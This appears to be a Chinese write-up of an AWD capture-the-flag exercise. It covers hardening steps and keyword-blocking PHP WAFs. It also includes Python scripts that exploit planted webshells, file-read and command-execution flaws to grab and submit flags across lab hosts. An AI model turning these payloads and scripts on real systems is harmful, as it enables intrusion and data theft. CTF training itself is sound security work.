云曦10月13日awd复现

devtools/2024/10/24 21:34:04/

一、防御

1、改用户密码

passwd <user>

2、改数据库密码

 进入数据库

 mysql -uroot -proot

改密码

update mysql.user set password=password('新密码') where user='root';

查看用户信息密码

 select host,user,password from mysql.user;

改配置文件,将密码改为自己修改后的密码(不更改的话会宕机)

3、删除匿名用户(默认会存在匿名用户登录(user为空的用户))

delete from mysql.user where user='';

4、刷新mysql

flush privileges;

 

5、处理一句话木马

用d盾扫描

/app/.a.php

一句话木马

法一:直接删除这个文件

rm -r .a.php

法二:写入空白

echo > .a.php

法三:注释

/app/a.php

一句话木马+打印出包含有关服务器和执行环境的信息

处理方法同/app/.a.app

/app/config.php

注释

/app/index.php

注释

6、任意文件读取漏洞

/app/about.php

结合自己的网页尝试看看也方便后面攻击

法一:注释(这里不是功能点直接注释就行)

法二:写waf(以防注释到功能点)

<?php
// 定义要限制的特定字符
$restricted_chars = array("flag");// 检查 GET数据
function check_input($data) {global $restricted_chars;foreach ($restricted_chars as $char) {if (strpos($data, $char) !== false) {// 如果输入包含限制字符,则触发防火墙动作block_request();}}return $data;
}// 阻止请求的函数
function block_request() {http_response_code(403); // 返回 403 禁止访问状态码die("Forbidden"); // 终止脚本执行
}// 检查 GET 数据
foreach ($_GET as $key => $value) {$_GET[$key] = check_input($value);
}
?>

将文件上传至app目录

注:这里的waf文件名不能为中文否则不被识别

/app/contact.php

处理方法同/app/about.php

7、 命令执行漏洞

/app/footer.php

POST请求命令

法一:注释

法二:waf

<?php
// 定义要限制的特定字符
$restricted_chars = array("cat","flag","ls");// 检查 GET、POST 和 COOKIE 数据
function check_input($data) {global $restricted_chars;foreach ($restricted_chars as $char) {if (strpos($data, $char) !== false) {// 如果输入包含限制字符,则触发防火墙动作block_request();}}return $data;
}// 阻止请求的函数
function block_request() {http_response_code(403); // 返回 403 禁止访问状态码die("Forbidden"); // 终止脚本执行
}// 检查 POST 数据
foreach ($_POST as $key => $value) {$_POST[$key] = check_input($value);
}
?>

/app/admin/footer.php

处理同/app/footer.php

/app/admin/header.php

GET请求命令

法一:注释

法二:写waf

<?php
// 定义要限制的特定字符
$restricted_chars = array("cat","flag","ls");// 检查 GET、POST 和 COOKIE 数据
function check_input($data) {global $restricted_chars;foreach ($restricted_chars as $char) {if (strpos($data, $char) !== false) {// 如果输入包含限制字符,则触发防火墙动作block_request();}}return $data;
}// 阻止请求的函数
function block_request() {http_response_code(403); // 返回 403 禁止访问状态码die("Forbidden"); // 终止脚本执行
}// 检查 GET 数据
foreach ($_GET as $key => $value) {$_GET[$key] = check_input($value);
}
?>

8、sql注入

/app/search.php

法一:用sqlmap扫描,可以发现注入点(有union注入,布尔盲注,时间盲注和)

法二:手注测试(比较菜只测出了布尔盲注)

true页面

false页面

上waf

/app/login.php

9、修改后台登入密码

先用navicat连上自己的数据库

注意端口是3306不要被mysql_port误导了

连上后进入admin表改后台密码

10、信息泄露

登入后台发现直接得到flag

查看/app/admin/index.php,发现有段php代码进行命令执行

直接注释

11、文件上传漏洞

登入后台后会发现一个文件上传

上传一个文件

/app/admin/upload.php

部署一个文件上传监测脚本

二、攻击

1、扫web端口

nmap <ip> -p <范围>

2、连数据库

尝试看看能不能用navicat直接无密码连接上数据库(如果数据库密码没改的话)

3、后门

/app/.a.php

写自动化exp

import requests
import time
import schedule
import ospayload ="?c=system('cat /flag');"
page=".a.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第一行行内容choice_line = lines[0]with open('hm_flag1.txt', 'a', encoding='utf-8') as file:file.write(choice_line+'\n')def support_flag():with open('hm_flag1.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('hm_flag1.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)
/app/a.php
import requests
import time
import schedule
import ospayload ="?c=system('cat /flag');"
page="a.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第一行行内容choice_line = lines[0]# 删除多余内容comment = "<pre class='xdebug-var-dump' dir='ltr'>"cleaned_line = choice_line.replace(comment, "")with open('hm_flag2.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('hm_flag2.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('hm_flag2.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

/app/config.php

同/app/.a.php

/app/index.php

同/app/a.php,改为第83行,改删<!-- banner -->

4、任意文件读取漏洞

/app/about.php
import requests
import time
import schedule
import ospayload ="?file=/flag"
page="about.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第1行行内容choice_line = lines[0]# 删除多余内容comment = "<!-- banner -->"cleaned_line = choice_line.replace(comment, "")with open('ry_flag1.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('ry_flag1.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('ry_flag1.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

/app/contact.php
import requests
import time
import schedule
import ospayload ="?path=/flag"
page="contact.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第83行行内容choice_line = lines[82]# 删除多余内容comment = "<!-- banner -->"cleaned_line = choice_line.replace(comment, "")with open('ry_flag2.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('ry_flag2.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('ry_flag2.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)

5、命令执行

/app/footer.php
import requests
import time
import schedule
import ospage="footer.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page# print(n_url)data = {"shell":"cat /flag"}response = requests.post(url=n_url,data=data)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第1行行内容choice_line = lines[0]with open('rce_flag1.txt', 'a', encoding='utf-8') as file:file.write(choice_line+'\n')def support_flag():with open('rce_flag1.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('rce_flag1.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)
/app/admin/footer.php

同/app/admin/footer.php

/app/admin/header.php
import requests
import time
import schedule
import ospayload ="?p=cat%20/flag"
page="admin/header.php"
urls = ['http://172.16.17.202:10250/','http://172.16.17.202:10298/','http://172.16.17.202:10869/','http://172.16.17.202:12186/','http://172.16.17.202:12232/','http://172.16.17.202:12750/','http://172.16.17.202:14219/','http://172.16.17.202:15054/','http://172.16.17.202:16767/','http://172.16.17.202:17365/','http://172.16.17.202:18922/',]def get_flag():for url in urls:n_url = url + page + payload# print(n_url)response = requests.get(url=n_url)if response.status_code == 200:# 获取源代码中的所有文本内容,并按行拆分lines = response.text.split('\n')# 获取第1行行内容choice_line = lines[0]# 删除多余内容comments = ["cat /flag<pre class='xdebug-var-dump' dir='ltr'><small>string</small> <font color='#cc0000'>'","'</font> <i>(length=32)</i>"]cleaned_line = choice_linefor comment in comments:cleaned_line = cleaned_line.replace(comment, "")for comment in comments:cleaned_line = cleaned_line.replace(comment, "")with open('rce_flag3.txt', 'a', encoding='utf-8') as file:file.write(cleaned_line+'\n')def support_flag():with open('rce_flag3.txt', 'r', encoding='utf-8') as file:content = file.read()# print(content)for line in content.split('\n'):# print(line)url = 'http://172.16.17.202:9090/'data = {"flag": line,"token": "4300f7f61934925694f6138f3045e61e"}response = requests.post(url, data=data)# print(response.text)time.sleep(1)# 提交完所有 flag 后删除文件os.remove('rce_flag3.txt')def job():#添加全局变量,跟踪是否是第一次执行任务global first_runget_flag()support_flag()print(time.strftime("%Y-%m-%d %H:%M:%S"))if first_run:#每五分钟执行一次schedule.every(5).minutes.do(job)first_run = Falseif __name__ == '__main__':first_run = Truejob()while True:schedule.run_pending()time.sleep(1)


http://www.ppmy.cn/devtools/128518.html

相关文章

算法Day-3

链表&#xff08;Linked List&#xff09; 是一种线性数据结构&#xff0c;它由一系列节点&#xff08;Node&#xff09;组成&#xff0c;每个节点包含两部分&#xff1a; 数据域&#xff1a;存储数据元素。指针域&#xff1a;存储指向下一个节点的引用&#xff08;或者是指针…

数据库实战:MySQL、SQL语句总结与应用案例分享

生活最大的危险在于一个空虚的心 文章目录 MySQLSQL语句总结 MySQL 数据库服务器数据库 (一般来说&#xff0c;一个项目&#xff0c;都会使用一个独立的数据库)数据表 (真正存储数据&#xff0c;和excel表差不多)行与列 (每一行代表一条数据&#xff0c;列又叫做字段) SQL语句…

050_python基于Python的黑龙江旅游景点数据分析系统的实现

目录 系统展示 开发背景 代码实现 项目案例 获取源码 博主介绍&#xff1a;CodeMentor毕业设计领航者、全网关注者30W群落&#xff0c;InfoQ特邀专栏作家、技术博客领航者、InfoQ新星培育计划导师、Web开发领域杰出贡献者&#xff0c;博客领航之星、开发者头条/腾讯云/AW…

分布式存储架构 与分布式一致性协议

分布式存储架构可以分为无中心节点架构和有中心节点架构。它们的设计在系统中的角色分配、数据管理、协调方式等方面有所不同。 1. 无中心节点架构&#xff08;Decentralized/Peer-to-Peer Architecture&#xff09; 在无中心节点的分布式存储架构中&#xff0c;所有节点都是…

链表(虚拟头节点)

链表 题 移除链表元素 虚拟头节点 /*** Definition for singly-linked list.* public class ListNode {* int val;* ListNode next;* ListNode() {}* ListNode(int val) { this.val val; }* ListNode(int val, ListNode next) { this.val val; this.…

Open3D-Geometry-11:Mesh deformation 网格变形算法

1. as-rigid-as-possible 如果想根据少量约束使三角形网格变形,可以使用网格变形算法。 Open3D 通过SorkineAndAlexa2007实现了 as-rigid-as-possible 方法,优化了以下能量函数 ∑ i ∑ j ∈ N ( i

解锁PDF权限密码

目录 背景: 定义与功能&#xff1a; 过程&#xff1a; 主要功能&#xff1a; 使用方式&#xff1a; 使用限制&#xff1a; 注意事项&#xff1a; 总结&#xff1a; 背景: 前段时间自己设置了PDF文件的许可口令&#xff0c;忘了口令导致自己无法编辑内容等&#xff0c;这…

Java - 人工智能;SpringAI

一、人工智能&#xff08;Artificial Intelligence&#xff0c;缩写为AI&#xff09; 人工智能&#xff08;Artificial Intelligence&#xff0c;缩写为AI&#xff09;是一门新的技术科学&#xff0c;旨在开发、研究用于模拟、延伸和扩展人的智能的理论、方法、技术及应用系统…